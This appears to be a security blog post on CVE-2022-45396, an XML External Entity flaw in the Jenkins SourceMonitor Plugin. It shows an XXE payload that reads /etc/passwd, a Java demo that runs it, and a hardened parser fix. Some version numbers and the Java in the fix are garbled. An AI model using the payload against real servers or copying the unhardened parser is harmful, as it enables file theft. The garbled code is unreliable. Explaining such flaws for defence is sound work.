Jenkins is one of the most popular automation tools for CI/CD, used by thousands of organizations worldwide. However, plugin vulnerabilities can easily undermine your security if not patched quickly. In this post, we’ll break down CVE-2022-45396—a serious XML External Entity (XXE) bug discovered in the Jenkins SourceMonitor Plugin (version .2 and earlier)—and show you how an attacker could exploit it, plus how to protect your systems.

What Is CVE-2022-45396?

In short, CVE-2022-45396 is a vulnerability found in Jenkins SourceMonitor Plugin (up to v.2). This plugin, which lets Jenkins analyze code quality using SourceMonitor, badly configured its XML parser. That bad configuration lets attackers process dangerous XML entities, such as those that reference external files or systems. This classic flaw is called an XML External Entity (XXE)) attack.

When XXE is possible, attackers may

- Read secret files from your Jenkins server (/etc/passwd, private keys, etc)

Plugin’s Vulnerable Code

Let’s see what’s at fault. Here’s a simplified snippet similar to what’s inside the vulnerable SourceMonitor plugin:

// BAD: No settings to secure the XML parser!
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(xmlInputStream);

This code does not turn off external entities or DTDs. That’s a big problem because by default Java’s XML parsers will process anything they see—including dangerous external links embedded in the input file!

How the Exploit Works

Let’s walk through a simple XXE PoC. Suppose our malicious user can upload a custom SourceMonitor XML report to Jenkins (e.g. through a job configuration or by triggering a build). They inject an external entity that tries to read /etc/passwd.

Here’s what their malicious XML payload could look like

<?xml version="1." encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

When Jenkins’ SourceMonitor plugin tries to parse this file, the parser will fetch the content of /etc/passwd and include it in the document.

*Result?* Depending on what happens next in the plugin (stdout, logs, or error messages), some or all of /etc/passwd could leak.

Attacker: prepares a malicious SourceMonitor XML report containing the XXE payload above.

2. Upload/Inject: they submit this report to Jenkins via a job that processes these reports (or by abusing an admin misconfiguration).

Processing: Jenkins, using the vulnerable plugin, reads and parses the XML file.

4. Leak: The contents of /etc/passwd get read by Jenkins and—with luck—either displayed in job output or logged somewhere admins/devs can later retrieve.

Example Code To Simulate

Below is a simple Java example simulating the vulnerability using standard Java XML APIs (mirroring what the plugin does):

import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;

public class XXEDemo {
    public static void main(String[] args) throws Exception {
        String xxePayload =
          "<?xml version=\"1.\" encoding=\"UTF-8\"?>\n" +
          "<!DOCTYPE foo [ <!ELEMENT foo ANY >\n" +
          "  <!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>\n" +
          "<foo>&xxe;</foo>";

        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        Document doc = db.parse(new ByteArrayInputStream(xxePayload.getBytes()));

        System.out.println(doc.getDocumentElement().getTextContent());
    }
}


*Run on a Linux machine—this prints your local /etc/passwd!*

To close this hole, XML parsers must be hardened. This is easy in Java

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disable DTDs entirely
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl";, true);
// Disallow external entities
factory.setFeature("http://xml.org/sax/features/external-general-entities";, false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities";, false);

DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(xmlInputStream);

Newer SourceMonitor Plugin versions (after .2) address this by securing their XML parsing. Upgrade immediately!

References and Further Reading

- CVE-2022-45396 NVD entry
- Jenkins Security Advisory 2022-11-15 (scroll to SourceMonitor section)
- OWASP: XXE cheat sheet
- Jenkins SourceMonitor Plugin

Summary and Protection

- This XXE bug in Jenkins SourceMonitor Plugin .2 or earlier lets attackers read files or trigger SSRF if you let users supply XML.

Limit user-uploaded content and audit your plugin set.

Stay safe, and keep your Jenkins and plugins updated!


*Exclusive writeup for demonstration purposes. For real incidents, always monitor security advisories and patch urgently.*

Timeline

Published on: 11/15/2022 20:15:00 UTC
Last modified on: 11/20/2022 03:08:00 UTC